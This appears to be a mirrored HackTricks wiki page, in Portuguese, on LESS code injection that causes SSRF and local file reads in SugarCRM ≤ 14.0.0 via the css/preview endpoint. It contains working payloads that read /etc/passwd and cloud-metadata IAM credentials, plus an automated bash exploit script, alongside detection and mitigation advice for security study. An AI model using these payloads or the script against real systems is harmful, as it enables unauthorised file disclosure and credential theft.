mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
76 lines
3.9 KiB
Markdown
76 lines
3.9 KiB
Markdown
# LESS Code Injection leading to SSRF & Local File Read
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Visão Geral
|
||
|
||
LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada.
|
||
|
||
Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar:
|
||
|
||
* Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais).
|
||
* Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).
|
||
|
||
Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`).
|
||
|
||
## Exploração
|
||
|
||
1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM).
|
||
2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
|
||
* `;` – termina a declaração anterior.
|
||
* `}` – fecha o bloco anterior (se necessário).
|
||
3. Use `@import (inline) '<URL>';` para ler recursos arbitrários.
|
||
4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.
|
||
|
||
### Leitura de Arquivos Locais
|
||
```
|
||
1; @import (inline) 'file:///etc/passwd';
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`.
|
||
|
||
### SSRF – Metadados da Nuvem
|
||
```
|
||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||
@import (inline) 'data:text/plain,@@END@@'; //
|
||
```
|
||
### PoC Automatizado (exemplo SugarCRM)
|
||
```bash
|
||
#!/usr/bin/env bash
|
||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||
|
||
TARGET="$1" # Base URL of SugarCRM instance
|
||
RESOURCE="$2" # file:// path or URL to fetch
|
||
|
||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||
|
||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||
```
|
||
## Detecção
|
||
|
||
* Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados.
|
||
* Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS.
|
||
* Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
|
||
|
||
## Mitigações
|
||
|
||
* Não passe dados não confiáveis para o compilador LESS.
|
||
* Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
|
||
* Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`.
|
||
* Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.
|
||
|
||
## Casos do Mundo Real
|
||
|
||
| Produto | Endpoint Vulnerável | Impacto |
|
||
|---------|---------------------|---------|
|
||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local |
|
||
|
||
## Referências
|
||
|
||
* [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04)
|
||
* [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|